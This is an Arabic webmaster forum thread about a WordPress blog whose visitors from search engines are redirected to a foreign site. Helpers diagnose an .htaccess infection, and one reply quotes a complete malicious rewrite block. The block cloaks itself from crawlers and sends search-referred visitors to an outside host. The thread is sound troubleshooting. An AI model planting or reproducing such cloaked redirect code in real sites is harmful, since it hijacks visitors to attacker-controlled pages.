نتائج موقعي في جوجل تؤدي إلي موقع اخر !!

[m.ganady]

السلام عليكم ورحمة الله وبركاته،

قمت بتعديلات جذرية علي مدوننتي مثل تغيير تركيبة الروابط الدائمة .. كما قمت أيضا بتعطيل خصائص السيو الموجودة بالقالب وتركيب اضافة all in one seo

وبالصدفة وانا اتابع الارشفة قمت بالضغط علي احد النتائج والتي يفترض ان تؤدي إلي احدي الصفحات.

وبالفعل وصلت لصفحتي ولكن سرعان ما تم اعادة توجيهي إلي موقع اخر !!!


قمت بتجربة جميع النتائج فوجدت العجب ... نفس النتيجة تؤدي إلي مدونتي مرة ومرة غلي ذلك الموقع وبعض النتائج تؤدي دائما إلي موقعي وبعض النتائج تؤدي دائما إلي الموقع الاخر.

والعجب كل العجب ان الصفحة الرئيسية تؤدي إلي مدونتي عند البحث بطريقة معينة وإذا غيرت كلمات البحث تؤدي إلي الموقع الاخر

هذا مثال للصفحة التي يتم إعادة تحويلي لها :
http://googosearch.org/download.php?terms=%E3%C7+%E5%D0%C7


ارجو النصيحة من الاخوة .. هل هذا بسبب التغييرات أم ان هذا غير طبيعي

ولكم الشكر الجزيل

[massalha]

افحص ال htaccess
ربما لديك فايروس بداخله

واحياناً يكون الفايروس مكتوب بسطر واحد اوله يوجد 900 فراغ ... كي لا تراه انت فعلياً ... ولكنه يكون مكتوب بآخر الصفحة ...

[m.ganady]

افحص ال htaccess
ربما لديك فايروس بداخله

واحياناً يكون الفايروس مكتوب بسطر واحد اوله يوجد 900 فراغ ... كي لا تراه انت فعلياً ... ولكنه يكون مكتوب بآخر الصفحة ...

للاسف انا لست مبرمج ولكن الملف ينتهي بشكل طبيعي ولايوجد نصوص مخفية لا فراغات قبل الاكواد

وبنظرة عامة علي الملف كل مابه عبارة عن دوال ( modules ) تفتح وتغلق بشكل طبيعي

وشكرا لاهتمامك

ولكن السؤال الذي ابحث له عن إجابة : هل من الممكن ان التغييرت التي عدلتها تكون قي السبب ؟؟؟ خاصة ان الموقع الذي اذهب إليه هو
googlesearch.org

بالرغم اني غير متأكد إن كان تابع لجوجل ام لا

[محمود حسين]

هل التحويل يتم عند الدخول الى الصفحة من نتائج جوجل فقط؟ أم يحدث أيضاً عند كتابة رابط الصفحة بشكل مباشر؟

[Abdulrahman Hassoun]

لا، غير طبيعي،

متوقع أن هناك كود بملف htaccess يسرق زوارك القادمين من محركات البحث

مفترض أن الكود شكله يكون قريب من هذا:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http://)?([^/?]*.)?(google.|yahoo.|bing.|msn.|yandex.|ask.|excite.|altavista.|netscape.|aol.|hotbot.|goto.|infoseek.|mamma.|alltheweb.|lycos.|search.|metacrawler.|rambler.|mail.|dogpile.|ya.|/search?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q=cache:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|AcesExplorer|Amfibi|AmigasOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|AsksJeeves|asterias|AtrenkosNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE-Preload|CFNetwork|cococ|Combine|Crawl|curl|Dangershiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|FucksYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda-Search|HP-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus-Notes|Lycos|Lynx|Mac_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac_PPC|Macs10|MacsOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os=Mac|P900i|panscient|perl|PlayStation|POE-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Seriess60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|SoapsClient|Socialmarks|SpheresScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Wins9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windowss95|Windowss98|WindowssCE|WindowssNTs4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://iamprotectedfrom.net/cgi-bin/r.cgi?p=15002&i=8bb934a6&j=306&m=01ca92546e44a411cd3a19c58623f82a&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo 

وللأسف الكود سيتواجد في جميع ملفات الهتكسس بجميع مجلدات الموقع بلا استثناء،

حتى المجلدات اللي مافيها الملف، رح ينشئ ملف جديد بهالمحتوى

كان الله بعونك في تعديل الملفات وإزالة الكود ^^

[m.ganady]

هل التحويل يتم عند الدخول الى الصفحة من نتائج جوجل فقط؟ أم يحدث أيضاً عند كتابة رابط الصفحة بشكل مباشر؟

لا ... التحويل يتم فقط من نتائج البحث ... ونفس النتيجة أحيانا تؤدي إلي موقعي بشكل طبيعي

وإعادة التحويل تحدث بعد وصولي إلي موقعي أولا..

]لا، غير طبيعي،

متوقع أن هناك كود بملف htaccess يسرق زوارك القادمين من محركات البحث

مفترض أن الكود شكله يكون قريب من هذا:
[/

لدي فعلا كودين إعادة تحويل أحدهما شبية بما ارسلته و الاخر يبدو خاص بالورد بريس نفسه

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress 

# BEGIN W3TC Page Cache core
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^(.*\/)?w3tc_rewrite_test$ $1?w3tc_rewrite_test=1 [L]
    RewriteCond %{HTTP:Accept-Encoding} gzip
    RewriteRule .* - [E=W3TC_ENC:_gzip]
    RewriteCond %{REQUEST_METHOD} !=POST
    RewriteCond %{QUERY_STRING} =""
    RewriteCond %{HTTP_HOST} =medicalconsulting.masrcare.com
    RewriteCond %{REQUEST_URI} !(\/wp-admin\/|\/xmlrpc.php|\/wp-(app|cron|login|register|mail)\.php|\/feed\/|wp-.*\.php|index\.php) [NC,OR]
    RewriteCond %{REQUEST_URI} (wp-comments-popup\.php|wp-links-opml\.php|wp-locations\.php) [NC]
    RewriteCond %{HTTP_COOKIE} !(comment_author|wp-postpass|wordpress_\[a-f0-9\]\+|wordpress_logged_in) [NC]
    RewriteCond %{HTTP_USER_AGENT} !(W3\ Total\ Cache/0\.9\.2\.4) [NC]
    RewriteCond "%{DOCUMENT_ROOT}/wp-content/w3tc/pgcache/%{REQUEST_URI}/_index%{ENV:W3TC_UA}%{ENV:W3TC_REF}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}" -f
    RewriteRule .* "/wp-content/w3tc/pgcache/%{REQUEST_URI}/_index%{ENV:W3TC_UA}%{ENV:W3TC_REF}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}" [L]
</IfModule>
# END W3TC Page Cache core 

مع الشكر

ملحوظة : يبدو لي والله اعلم أن الكود الثاني خاص بإضافة استخدمها لتسريع المدونة وهي W3 Total Cache l مع العلم انها 5/5 في التقييم.

[m.ganady]

ملحوظة : ادوات مشرفي الموقع من جوجل لم تعطي اي اشارة لوجود فايرس

ملحوظة : راجعت جميع ملفات الهتكسس بجميع مجلدات الموقع ولم اجد اي تشابه بينها وبين الملف المجود بالرئيسية .... ومعظم ملفات الهتكسس الباقية مكتوب بها 3 اسطر فقط تقريبا



في انتظار المساعدة والتوجية ... لاني كنت اظن أن الامر هين وأن جوجل سوف يقوم بالتصحيح وحده

[m.ganady]

لا أزال في انتظار المساعدة ولو بمقابل مادي

[7ww7.com]

اخى ياريت توريني مثال بكلمه بحث معينه عشان اجرب واقولك

[m.ganady]

اخى ياريت توريني مثال بكلمه بحث معينه عشان اجرب واقولك

شكرا لاهتمامك ... تم حل المشكلة بعد العثور علي الكود داخل ملفات القالب وإزالته